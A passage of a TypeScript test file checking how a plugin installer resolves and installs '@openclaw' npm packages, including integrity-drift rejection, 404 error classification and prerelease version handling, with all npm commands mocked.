|
|
spec: "@openclaw/whatsapp@0.0.1",
|
|
packageName: "@openclaw/whatsapp",
|
|
version: "0.0.1",
|
|
pluginId: "whatsapp",
|
|
npmRoot,
|
|
},
|
|
]);
|
|
|
|
const result1 = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call@0.0.1",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
expect(result1.ok).toBe(true);
|
|
|
|
runCommandWithTimeoutMock.mockClear();
|
|
const result2 = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/whatsapp@0.0.1",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
expect(result2.ok).toBe(true);
|
|
|
|
expectNpmInstallIntoProject({
|
|
calls: runCommandWithTimeoutMock.mock.calls,
|
|
npmRoot,
|
|
packageName: "@openclaw/whatsapp",
|
|
});
|
|
expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, "@openclaw/voice-call"))).toBe(true);
|
|
expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, "@openclaw/whatsapp"))).toBe(true);
|
|
});
|
|
|
|
it("aborts when integrity drift callback rejects the fetched artifact", async () => {
|
|
mockNpmViewMetadataResult(runCommandWithTimeoutMock, {
|
|
name: "@openclaw/voice-call",
|
|
version: "0.0.1",
|
|
integrity: "sha512-new",
|
|
shasum: "newshasum",
|
|
});
|
|
|
|
const onIntegrityDrift = vi.fn(async () => false);
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call@0.0.1",
|
|
expectedIntegrity: "sha512-old",
|
|
onIntegrityDrift,
|
|
});
|
|
expectIntegrityDriftRejected({
|
|
onIntegrityDrift,
|
|
result,
|
|
expectedIntegrity: "sha512-old",
|
|
actualIntegrity: "sha512-new",
|
|
});
|
|
});
|
|
|
|
it("classifies npm package-not-found errors with a stable error code", async () => {
|
|
runCommandWithTimeoutMock.mockResolvedValue({
|
|
code: 1,
|
|
stdout: "",
|
|
stderr: "npm ERR! code E404\nnpm ERR! 404 Not Found - GET https://registry.npmjs.org/nope",
|
|
signal: null,
|
|
killed: false,
|
|
termination: "exit",
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/not-found",
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
expect(result.ok).toBe(false);
|
|
if (!result.ok) {
|
|
expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.NPM_PACKAGE_NOT_FOUND);
|
|
}
|
|
});
|
|
|
|
it("rejects implicit prerelease npm specs with beta guidance", async () => {
|
|
mockNpmViewMetadataResult(runCommandWithTimeoutMock, {
|
|
name: "@openclaw/voice-call",
|
|
version: "0.0.2-beta.1",
|
|
integrity: "sha512-beta",
|
|
shasum: "betashasum",
|
|
});
|
|
|
|
const rejected = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call",
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
expect(rejected.ok).toBe(false);
|
|
if (!rejected.ok) {
|
|
expect(rejected.error).toContain("prerelease version 0.0.2-beta.1");
|
|
expect(rejected.error).toContain('"@openclaw/voice-call@beta"');
|
|
}
|
|
});
|
|
|
|
it("falls back to the latest stable version for official prerelease packages", async () => {
|
|
const officialNpmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
const warnings: string[] = [];
|
|
mockNpmViewAndInstallMany([
|
|
{
|
|
spec: "@openclaw/voice-call",
|
|
packageName: "@openclaw/voice-call",
|
|
version: "0.0.2-beta.1",
|
|
npmRoot: officialNpmRoot,
|
|
versions: ["0.0.1", "0.0.2-beta.1"],
|
|
},
|
|
{
|
|
spec: "@openclaw/voice-call@0.0.1",
|
|
packageName: "@openclaw/voice-call",
|
|
version: "0.0.1",
|
|
pluginId: "voice-call",
|
|
npmRoot: officialNpmRoot,
|
|
expectedDependencySpec: "0.0.1",
|
|
},
|
|
]);
|
|
|
|
const officialFallback = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call",
|
|
npmDir: officialNpmRoot,
|
|
expectedPluginId: "voice-call",
|
|
trustedSourceLinkedOfficialInstall: true,
|
|
logger: {
|
|
info: () => {},
|
|
warn: (msg: string) => warnings.push(msg),
|
|
},
|
|
});
|
|
expect(officialFallback.ok).toBe(true);
|
|
if (!officialFallback.ok) {
|
|
return;
|
|
}
|
|
expect(officialFallback.npmResolution?.version).toBe("0.0.1");
|
|
expect(officialFallback.npmResolution?.resolvedSpec).toBe("@openclaw/voice-call@0.0.1");
|
|
expect(warnings.join("\n")).toContain("falling back to stable @openclaw/voice-call@0.0.1");
|
|
});
|
|
|
|
it("keeps stable correction versions when resolving official npm packages", async () => {
|
|
const correctionNpmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
const correctionWarnings: string[] = [];
|
|
mockNpmViewAndInstallMany([
|
|
{
|
|
spec: "@openclaw/voice-call",
|
|
packageName: "@openclaw/voice-call",
|
|
version: "2026.5.3-1",
|
|
pluginId: "voice-call",
|
|
npmRoot: correctionNpmRoot,
|
|
versions: ["2026.5.3", "2026.5.3-1"],
|
|
expectedDependencySpec: "2026.5.3-1",
|
|
},
|
|
]);
|
|
|
|
const stableCorrection = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call",
|
|
npmDir: correctionNpmRoot,
|
|
expectedPluginId: "voice-call",
|
|
trustedSourceLinkedOfficialInstall: true,
|
|
logger: {
|
|
info: () => {},
|
|
warn: (msg: string) => correctionWarnings.push(msg),
|
|
},
|
|
});
|
|
expect(stableCorrection.ok).toBe(true);
|
|
if (!stableCorrection.ok) {
|
|
return;
|
|
}
|
|
expect(stableCorrection.npmResolution?.version).toBe("2026.5.3-1");
|
|
expect(stableCorrection.npmResolution?.resolvedSpec).toBe("@openclaw/voice-call@2026.5.3-1");
|
|
expect(correctionWarnings).toStrictEqual([]);
|
|
});
|
|
|
|
it("uses the newest prerelease when an official package has no stable versions", async () => {
|
|
const prereleaseOnlyNpmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
const prereleaseOnlyWarnings: string[] = [];
|
|
mockNpmViewAndInstallMany([
|
|
{
|
|
spec: "@openclaw/voice-call",
|
|
packageName: "@openclaw/voice-call",
|
|
version: "0.0.1-beta.1",
|
|
pluginId: "voice-call",
|
|
npmRoot: prereleaseOnlyNpmRoot,
|
|
versions: ["0.0.1-beta.1", "0.0.2-beta.1"],
|
|
},
|
|
{
|
|
spec: "@openclaw/voice-call@0.0.2-beta.1",
|
|
packageName: "@openclaw/voice-call",
|
|
version: "0.0.2-beta.1",
|
|
pluginId: "voice-call",
|
|
npmRoot: prereleaseOnlyNpmRoot,
|
|
expectedDependencySpec: "0.0.2-beta.1",
|
|
},
|
|
]);
|
|
|
|
const prereleaseOnly = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call",
|
|
npmDir: prereleaseOnlyNpmRoot,
|
|
expectedPluginId: "voice-call",
|
|
trustedSourceLinkedOfficialInstall: true,
|
|
logger: {
|
|
info: () => {},
|
|
warn: (msg: string) => prereleaseOnlyWarnings.push(msg),
|
|
},
|
|
});
|
|
expect(prereleaseOnly.ok).toBe(true);
|
|
if (!prereleaseOnly.ok) {
|
|
return;
|
|
}
|
|
expect(prereleaseOnly.npmResolution?.version).toBe("0.0.2-beta.1");
|
|
expect(prereleaseOnly.npmResolution?.resolvedSpec).toBe("@openclaw/voice-call@0.0.2-beta.1");
|
|
expect(prereleaseOnlyWarnings.join("\n")).toContain("has no stable npm versions yet");
|
|
expect(prereleaseOnlyWarnings.join("\n")).toContain(
|
|
"using newest prerelease @openclaw/voice-call@0.0.2-beta.1",
|
|
);
|
|
});
|
|
|
|
it("accepts explicit prerelease npm dist-tags", async () => {
|
|
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
mockNpmViewAndInstall({
|
|
spec: "@openclaw/voice-call@beta",
|
|
packageName: "@openclaw/voice-call",
|
|
version: "0.0.2-beta.1",
|
|
pluginId: "voice-call",
|
|
integrity: "sha512-beta",
|
|
shasum: "betashasum",
|
|
npmRoot,
|
|
});
|
|
|
|
const accepted = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call@beta",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
expect(accepted.ok).toBe(true);
|
|
if (!accepted.ok) {
|
|
return;
|
|
}
|
|
expect(accepted.npmResolution?.version).toBe("0.0.2-beta.1");
|
|
expect(accepted.npmResolution?.resolvedSpec).toBe("@openclaw/voice-call@0.0.2-beta.1");
|
|
expectNpmInstallIntoProject({
|
|
calls: runCommandWithTimeoutMock.mock.calls,
|
|
npmRoot,
|
|
packageName: "@openclaw/voice-call",
|
|
});
|
|
});
|
|
});
|